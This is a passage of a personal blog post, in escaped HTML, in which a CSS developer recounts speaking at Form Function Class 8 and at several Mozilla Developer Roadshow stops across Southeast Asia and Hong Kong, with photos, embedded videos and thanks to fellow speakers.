&lt;li&gt;&lt;a href=&quot;#--mozilla-dev-roadshow-penang&quot;&gt;Mozilla Developer Roadshow @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; (Penang)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-dev-roadshow-hong-kong&quot;&gt;Mozilla Developer Roadshow @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hong Kong&quot;&gt;🇭🇰&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--harbour-front&quot;&gt;Harbour Front @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hong Kong&quot;&gt;🇭🇰&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;About speaking at conferences&lt;/h2&gt;
&lt;p&gt;How would you feel if you&apos;re given the opportunity to talk about one of your favourite things in front of a large group of people? For the little group of people who have attended &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;Talk.CSS&lt;/a&gt; before (I LOVE you all), it seems like I&apos;m pretty okay with public speaking, and honestly, I generally am. But an “official” event, like a conference (or anything with a budget, actually), does feel different.&lt;/p&gt;
&lt;p&gt;I know that Chris and I often joke that we&apos;re flying blind when it comes to Talk.CSS, and that&apos;s largely true, and we do a lot of improvisation and ad-libbing for that, but meet-ups are generally quite casual and relaxed. Conferences (and events with a budget), at least to me, come with a greater responsibility and an air of professionalism.&lt;/p&gt;
&lt;p&gt;Professionalism is NOT something that you&apos;d usually associate me with. If you&apos;ve met me, you know this. Monkey is probably a closer association. But I do have a “adult-mode” switch that I can, and will, turn on when the need arises. Conferences (and events with a budget) are situations that require some serious adulting.&lt;/p&gt;
&lt;p&gt;My first full length talk took place this year at the inaugural &lt;a href=&quot;https://webconf.asia&quot;&gt;Webconf.Asia&lt;/a&gt; in Hong Kong back in June. The speaker line-up included well-known and experienced speakers like &lt;a href=&quot;http://www.heydonworks.com/&quot;&gt;Heydon Pickering&lt;/a&gt; and &lt;a href=&quot;https://trib.tv/&quot;&gt;Andrew Betts&lt;/a&gt;. I think I came after &lt;a href=&quot;https://metafluff.com/&quot;&gt;Dietrich Ayala&lt;/a&gt; (another powerhouse speaker), and I was way more nervous than I thought I would be.&lt;/p&gt;
&lt;p&gt;Luckily, once I started, the nerves started to fade. I think nerding out about CSS makes me so happy that it overrides any other emotion I may be feeling at that time. It&apos;s almost the same as when you&apos;re “in the zone” when playing basketball.&lt;/p&gt;
&lt;p&gt;The first time I was flown out of Asia for a talk was for &lt;a href=&quot;https://pitercss.com/&quot;&gt;pitercss conference&lt;/a&gt; in Saint Petersburg. I&apos;d never even been anywhere close to Europe before, so I chose to fly out a week before the conference just to spend more time there.&lt;/p&gt;
&lt;p&gt;The conference was amazingly well-organised, and the turnout was fantastic. Words are insufficient to describe the experience, but there will be video released later so check back for the link. Met so many wonderful people here, like &lt;a href=&quot;https://twitter.com/pepelsbey_&quot;&gt;Vadim Makeev&lt;/a&gt;, &lt;a href=&quot;http://aganaplocha.com/&quot;&gt;Aga Naplocha&lt;/a&gt; and the Viennese Mafia of &lt;a href=&quot;https://twitter.com/eva_trostlos&quot;&gt;Eva Lettner&lt;/a&gt;, &lt;a href=&quot;http://okonet.ru/&quot;&gt;Andrey Okonetchnikov&lt;/a&gt; and &lt;a href=&quot;http://matuzo.at/&quot;&gt;Manuel Matuzovic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&apos;ve had the privilege to do quite a bit of speaking this year, and I&apos;m so grateful to every organiser who chose to take a chance on me, a literal no-name speaker, and all the audience members who came up to me after to chat and tell me they enjoyed my session. It really means a lot to me.&lt;/p&gt;
&lt;p&gt;There are a lot of developers from South-east Asia who do great work, it&apos;s just that there isn&apos;t that much visibility on them. I don&apos;t often see speakers from my region in international conferences, and I do feel an added responsibility to represent us in the best possible light.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Philippines&quot;&gt;🇵🇭&lt;/span&gt; @ Form Function Class 8&lt;/h2&gt;
&lt;p&gt;Speaking &lt;a href=&quot;http://2017.formfunctionclass.com/&quot;&gt;FFC8&lt;/a&gt; is definitely going to rank as one of my top experiences ever. First of all, FFC5 was my first ever conference as an attendee, and I truly experienced Filipino hospitality at its best. This time I was attending as a speaker, presenting a brand new talk about CSS layouts, AND I had the ridiculous idea of doing a small snippet of live-coding on stage.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;
    Wondering what past me was thinking when I thought live-coding was a good idea, haha (joking...a
    little bit)
  &lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/ffc8-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/ffc8-480.jpg 480w, /images/posts/talking-css/ffc8-640.jpg 640w, /images/posts/talking-css/ffc8-960.jpg 960w, /images/posts/talking-css/ffc8-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;On stage at FFC8&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Even though I rehearsed the talk a number of times, there were no guarantees that things wouldn&apos;t go wrong and there was a bit of a snag in terms of the set up. But I changed how the code was presented at the last minute so there was way less typing involved. Really relieved things didn&apos;t go badly &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;What I did not expect, was the overwhelming response when I finished my session (a few people at the back actually stood up &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with heart-eyes&quot;&gt;😍&lt;/span&gt;). I was just hoping that the audience wouldn&apos;t find my talk boring (because I have had people fall asleep in front my face, &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;) so this was amazing. It might have also been the fact that I managed to weave in Beyoncé into the talk somehow &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;, so I would also like to thank Queen Bey for this successful talk.&lt;/p&gt;
&lt;p&gt;There are &lt;a href=&quot;https://www.facebook.com/171813495550/photos/?tab=album&amp;amp;album_id=10159393074875551&quot;&gt;lots of photos&lt;/a&gt; of the conference on Facebook, and here&apos;s a highlight video.&lt;/p&gt;
&lt;iframe
  style=&quot;margin-bottom:2em;&quot;
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/MOWwDj1K66M?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ Mozilla Dev Roadshow Singapore&lt;/h2&gt;
&lt;p&gt;Landed back home for a couple days and also the very first stop of the Mozilla Developer Roadshow. Because Singapore is sort of my home base, I naturally strong-armed everyone I knew to show up for this. Why I still have friends left is a mystery to me &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;The line-up for the Singapore stop was packed, and we had THE &lt;a href=&quot;https://adactio.com/&quot;&gt;Jeremy Keith&lt;/a&gt; doing what I personally think is one of the most inspirational tech talks I&apos;ve ever heard, on Evaluating Technologies. And to hear it live was such a wonderful experience.&lt;/p&gt;
&lt;p&gt;My session actually stuck between two of the biggest names in web development, Jeremy Keith and &lt;a href=&quot;https://www.smashingmagazine.com/&quot;&gt;Vitaly Friedman of Smashing Magazine&lt;/a&gt;, so forgive me if I was just a little bit stressed. AND my iPad, which was a pretty critical part of my talk setup, decided it was the best time to have a hardware failure.&lt;/p&gt;
&lt;p&gt;But the advantage of being at home is that I was surrounded by familiar faces and managed to cobble together a temporary solution, thanks to my shifu, &lt;a href=&quot;http://coderkungfu.com/&quot;&gt;Michael Cheng&lt;/a&gt;, who generously just lent me his iPhone instead. Michael, you awesomez!&lt;/p&gt;
&lt;p&gt;Jeremy wasn&apos;t joining us for the rest of the trip and we had to say goodbye at the end of the event. But I did manage to hang out with everyone to nerd out about the web in general the night before. We even had an action item to file a bug, because Vitaly, &lt;a href=&quot;https://twitter.com/indysigner&quot;&gt;Markus Seyfferth&lt;/a&gt; and I concluded that Chrome had a bug with CSS grid for print stylesheets.&lt;/p&gt;
&lt;p&gt;Jeremy also suggested to do this recap of the Roadshow experience and so I&apos;m writing this blog post &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;. The talk that I did this time was a variant of the one I did at FFC, but Bruce Lee replaced Beyoncé. I also think this is the first time a lot of my friends have seen me turn on “adult mode”, so that was kinda fun. &lt;a href=&quot;http://elishatan.com/&quot;&gt;Elisha Tan&lt;/a&gt; (the superwoman running &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt;) said it best:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;
    “You know it&apos;s big business when Huijing Chen styles her hair and says no hokkien.” (photo
    credit: Elisha)
  &lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-sin.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-sin@2x.jpg 2x&quot;
    alt=&quot;Speaking at Singapore stop of Mozilla Developer Roadshow&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;There&apos;s also a fantastic team working on capturing the best parts of the entire roadshow. I think full length talks will be released as well, so stay tuned. &lt;a href=&quot;https://www.youtube.com/channel/UCijjo5gfAscWgNCKFHWm1EA?sub_confirmation=1&quot;&gt;Subscribe to the Mozilla Hacks Youtube channel&lt;/a&gt;!&lt;/p&gt;
&lt;iframe
  style=&quot;margin-bottom:2em;&quot;
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/Fun1UWhwO0g?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Vietnam&quot;&gt;🇻🇳&lt;/span&gt; @ Mozilla Dev Roadshow Ho Chi Minh&lt;/h2&gt;
&lt;p&gt;Next stop, Vietnam! I&apos;d only ever been in Ho Chi Minh for a grand total of 6 hours before this, so it was nice to be able spend a bit more time here. One thing that I tell every one who will listen is that Vietnam has a lot of talented developers, who are working on really cool projects that make use of cutting edge technologies, it&apos;s just that nobody has really shone a spotlight on this region. Yet.&lt;/p&gt;
&lt;p&gt;We had the chance to meet with teams working on VR projects, and even though what we played with were prototypes, they felt way more polished than some commercial products I&apos;ve seen before. The audience was smaller than in Singapore, but that also gave everyone more time to connect with each other and try out the webVR kits and play around with &lt;a href=&quot;https://aframe.io/a-painter/&quot;&gt;A-Painter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I tried A-Painter for the first time ever, and it was amazing. To quote &lt;a href=&quot;https://fabien.benetou.fr/&quot;&gt;Fabien Benetou&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You may think you know VR, but until you put on the headset, you don&apos;t.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As someone who played a lot of video games growing up, using the controllers was super intuitive. Think Nintendo Wii style nunchucks (but not really), in both hands. It&apos;s really fun to be able to draw and create in a 3-dimensional space. But my favourite thing (because I&apos;m weird) was the teleportation function, where after you draw a bunch of stuff, you can just teleport yourself some distance away to admire your handiwork.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;No idea what I found so fascinating on the floor though&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-hcm-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-hcm-480.jpg 480w, /images/posts/talking-css/moz-hcm-640.jpg 640w, /images/posts/talking-css/moz-hcm-960.jpg 960w, /images/posts/talking-css/moz-hcm-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Trying out A-Painter for the first time&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Now that I&apos;ve done the semi live-coding thing on my slides twice before, I was less nervous about the setup not going to plan, because yet again, my extended screen glitched and I ended up having to look at the main screen and type with one hand (because microphone). Turns out the first time in Manila was the most successful attempt &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Also met a fellow Malaysian, &lt;a href=&quot;https://twitter.com/ondrispui&quot;&gt;Ondris Pui&lt;/a&gt;, who&apos;s currently lecturing at the Ho Chi Minh campus of RMIT, as well as &lt;a href=&quot;https://twitter.com/jolandatromp&quot;&gt;Jolanda Tromp&lt;/a&gt;, who&apos;s a researcher at Duy Tan University focused on user-centred AR/VR. Lots of interesting conversations with interesting people doing interesting stuff.&lt;/p&gt;
&lt;iframe
  style=&quot;margin-bottom:2em;&quot;
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/VRW2igNFSn8?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; @ Mozilla Dev Roadshow Kuala Lumpur&lt;/h2&gt;
&lt;p&gt;Even though the event is said to be in Kuala Lumpur, a local will tell you, technically Cyberjaya isn&apos;t really KL. But tomayto, tomahto &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. This is the only weekend event scheduled, and it was a full-day thing, with 3 talks in the morning, a nice leisurely lunch break, then 3 more in the afternoon.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;So glad that there was time for David&apos;s talk this time&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-kl2-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-kl2-480.jpg 480w, /images/posts/talking-css/moz-kl2-640.jpg 640w, /images/posts/talking-css/moz-kl2-960.jpg 960w, /images/posts/talking-css/moz-kl2-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;David Bryant on emerging technologies&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/david_bryant&quot;&gt;David Bryant&lt;/a&gt; rejoined our motley crew and gave a longer version of the emerging technologies talk, which included a fascinating section on &lt;a href=&quot;http://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt;, as well as the research coming out of Mozilla on &lt;a href=&quot;https://research.mozilla.org/machine-learning/&quot;&gt;speech interfaces&lt;/a&gt;. Also, Dietrich joined us for this leg of the roadshow! And somehow I was scheduled immediately after him again &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Class photo time! (someone is missing)&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-kl-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-kl-480.jpg 480w, /images/posts/talking-css/moz-kl-640.jpg 640w, /images/posts/talking-css/moz-kl-960.jpg 960w, /images/posts/talking-css/moz-kl-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Almost every one for the KL roadshow&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;And I didn&apos;t anticipate this at all, but there was a warm, fuzzy feeling to speaking in my own country &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;. It was the first time I did a talk in Malaysia. I don&apos;t expect everyone to understand this, but that moment when I mentioned “Saya bangga jadi anak Malaysia”, and the audience applauded, will be one of the highlights of this roadshow for me.&lt;/p&gt;
&lt;p&gt;As someone who had the privilege and honour of representing the Malaysia women&apos;s basketball team once in my life, I suppose this idea of being a representative for your country is a bit more emotional to me than most other people. Maybe. (Or I&apos;m just a weird person)&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Feeding the cats...&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-kl3-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-kl3-480.jpg 480w, /images/posts/talking-css/moz-kl3-640.jpg 640w, /images/posts/talking-css/moz-kl3-960.jpg 960w, /images/posts/talking-css/moz-kl3-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Dinner in KL, like really KL city&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;Anyway, my overly complicated talk setup went wrong again, this time, the resolution on the iPad was so off that I couldn&apos;t read a single word of my speaker notes. Guess it&apos;s a good thing I already did this talk a few times. But flying blind meant that I probably didn&apos;t keep to time that strictly. I just want the setup to work perfectly once. Just one time on this hectic tour &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;crossed fingers&quot;&gt;🤞&lt;/span&gt;.&lt;/p&gt;
&lt;iframe
  style=&quot;margin-bottom:2em;&quot;
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/4uhbvlR3nhk?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; @ Mozilla Dev Roadshow Penang&lt;/h2&gt;
&lt;p&gt;Penang has and will always have a special place in my heart. Even though my family moved away from Penang when I was 4, our household was completely Penangite. I remember learning to read English with my mum, and learning to write Chinese with my grandma, but I came out of the womb speaking Penang Hokkien.&lt;/p&gt;
&lt;p&gt;Penang Hokkien is very distinct, and because it&apos;s not commonly heard outside Penang, I&apos;m very attuned to anyone speaking it. Imagine being constantly surrounded by people speaking differently from you almost all the time, then suddenly finding yourself surrounded by people speaking exactly the same way you do. It&apos;s an indescribable feeling.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Penang is all about the food&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-pen3-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-pen3-480.jpg 480w, /images/posts/talking-css/moz-pen3-640.jpg 640w, /images/posts/talking-css/moz-pen3-960.jpg 960w, /images/posts/talking-css/moz-pen3-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Audience at the Penang event&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;We had a new friend join us on this leg of the tour, Mozilla representative and Infosec researcher, &lt;a href=&quot;https://medium.com/@mijanur&quot;&gt;Mijanur Rahman Rayhan&lt;/a&gt;, who is based in Bangladesh. He kicked things off with a great talk about privacy and security. Be sure to check out &lt;a href=&quot;https://rayhanroot.wordpress.com/&quot;&gt;his blog&lt;/a&gt; too!&lt;/p&gt;
&lt;p&gt;Remember how my talk setup has never worked correctly? Ever? Well, turns out fourth time&apos;s the charm! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt; This time, the screen resolution was perfect, nothing died mid-way while I was speaking, and the talk went pretty smoothly. And I made sure to weave in 「我是庇能出世的孩子」(of course spoken in Penang Hokkien) into my introduction. &lt;em&gt;(translates to “I was born in Penang”)&lt;/em&gt;&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Charis in action!&lt;/figcaption&gt;
  &lt;video controls=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/videos/moz-pen.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/moz-pen.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Dietrich was super entertaining as usual, and we had to say good bye after this because he was off to India next. We also had a super cool local artist, &lt;a href=&quot;https://www.charisloke.com/&quot;&gt;Charis Loke&lt;/a&gt; doing a live demo of A-Painter, her artwork was fantastic. And it was all live!&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Lovely people who came to the event&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-pen2-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-pen2-480.jpg 480w, /images/posts/talking-css/moz-pen2-640.jpg 640w, /images/posts/talking-css/moz-pen2-960.jpg 960w, /images/posts/talking-css/moz-pen2-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Audience at the Penang event&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I also got the chance to chat with lots of lovely Penangites after the talks were over, about Penang, about speaking, about tech in Penang and Malaysia in general, and all sorts of other things. I might be part of DevFest Penang (I think that&apos;s what it&apos;s going to be called) in November as well. We&apos;ll see how that goes &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;upside-down face&quot;&gt;🙃&lt;/span&gt;.&lt;/p&gt;
&lt;iframe
  style=&quot;margin-bottom:2em;&quot;
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/P3s6QwThdBM?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hong Kong&quot;&gt;🇭🇰&lt;/span&gt; @ Mozilla Dev Roadshow Hong Kong&lt;/h2&gt;
&lt;p&gt;It&apos;s the grand finale of the Mozilla Developer Asia Roadshow and it has been an amazing experience all around, with some fantastic people. I had recently been in Hong Kong, back in June, for &lt;a href=&quot;https://webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt;, which was my first ever full-length tech talk. That talk went reasonably well, and I was pretty happy to be back here again.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Have to get some exercise in with Fabien and Markus&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-hk-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-hk-480.jpg 480w, /images/posts/talking-css/moz-hk-640.jpg 640w, /images/posts/talking-css/moz-hk-960.jpg 960w, /images/posts/talking-css/moz-hk-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Hiked around Victoria Peak&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;The gang wasn&apos;t all staying at the same hotel this time because of some booking issues but we were still in close enough proximity with each other. If you&apos;ve never been to Asia, and hear that Hong Kong and Singapore are the same, you&apos;re sadly mistaken. Asia (and to be fair, almost anywhere else in the world) is like VR, until you&apos;ve experienced it first-hand, you don&apos;t know what it is.&lt;/p&gt;
&lt;p&gt;The vibe that I get from Hong Kong is that it&apos;s a bustling, modern city, and yet it retains a lot of its unique flavour, from the narrow alleyways, neon billboards and shop signage. It has a much more organic feel than Singapore, with old sidled right up with new. If I was a better writer, I&apos;d have better words to explain this, but I&apos;m not, so &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;For this stop, we had &lt;a href=&quot;https://birtles.wordpress.com/&quot;&gt;Brian Birtles&lt;/a&gt; and &lt;a href=&quot;http://minism.jp/&quot;&gt;Daisuke Akatsuka&lt;/a&gt; presenting on web animations as well as the Firefox Devtools that let us troubleshoot them. Totally blew my mind. I had been using Nightly since last year, so I felt like I had been living under a rock because I sort of always just glazed over the &lt;em&gt;Animations&lt;/em&gt; panel and went straight for the &lt;em&gt;Layout&lt;/em&gt; panel.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Really informational AND fun talk on web animations&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/moz-hk2-640.jpg&quot;
    srcset=&quot;/images/posts/talking-css/moz-hk2-480.jpg 480w, /images/posts/talking-css/moz-hk2-640.jpg 640w, /images/posts/talking-css/moz-hk2-960.jpg 960w, /images/posts/talking-css/moz-hk2-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Audience coded along with the talk&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;One of the best parts of this roadshow is the opportunity to meet really interesting people, and Hong Kong definitely did not disappoint. We went out for food and drinks after the event with &lt;a href=&quot;http://www.hongkonggong.com/&quot;&gt;Jason Li&lt;/a&gt; and &lt;a href=&quot;http://www.tricialing.com/&quot;&gt;Tricia Ling&lt;/a&gt;. Jason is a cartoonist and designer who is based in Hong Kong at the moment, and he&apos;s working on a graphic novel called &lt;a href=&quot;&quot;&gt;The House on Horse Mountain&lt;/a&gt;. He also made really cool sketchnotes of the entire event &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with heart-eyes&quot;&gt;😍&lt;/span&gt;!&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Sketchnotes for the win!&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/talking-css/sketchnotes.jpg&quot;
    srcset=&quot;/images/posts/talking-css/sketchnotes@2x.jpg 2x&quot;
    alt=&quot;Jason Li&apos;s sketchnotes of the event&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;As the roadshow draws to a close, I must say that this has been a fantastic experience. It was intense and a little bit hectic, but I learned a lot, not only about technical stuff like webVR and animations, but also things like video editing, organising events, how to make your talk more compelling and so on.&lt;/p&gt;
&lt;iframe
  width=&quot;560&quot;
  height=&quot;315&quot;
  src=&quot;https://www.youtube.com/embed/rcWE4cFhlKg?rel=0&quot;
  frameborder=&quot;0&quot;
  allowfullscreen
&gt;&lt;/iframe&gt;
&lt;p&gt;I really appreciate the opportunity to be part of this roadshow and it has been a privilege to get to know each and every person on this team. &lt;a href=&quot;https://twitter.com/instig8creative&quot;&gt;Barry Munsterteiger&lt;/a&gt;, who literally made movie magic with all the footage we got. &lt;a href=&quot;https://twitter.com/SandraPersing&quot;&gt;Sandra Persing&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/alispivak&quot;&gt;Ali Spivak&lt;/a&gt;, who put this whole event together. &lt;a href=&quot;https://twitter.com/indysigner&quot;&gt;Markus Seyfferth&lt;/a&gt;, who gave me really great advice on improving my talk and my presentation slides. And all the other speakers, &lt;a href=&quot;https://twitter.com/utopiah&quot;&gt;Fabien Benetou&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/adactio&quot;&gt;Jeremy Keith&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/smashingmag&quot;&gt;Vitaly Friedman&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/dietrich&quot;&gt;Dietrich Ayala&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/david_bryant&quot;&gt;David Bryant&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/mijanurrax&quot;&gt;Mijanur Rahman&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/brianskold&quot;&gt;Brian Birtles&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/dadaaism&quot;&gt;Daisuke Akatsuka&lt;/a&gt;, I loved meeting all of you &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hong Kong&quot;&gt;🇭🇰&lt;/span&gt; @ Harbour Front&lt;/h2&gt;
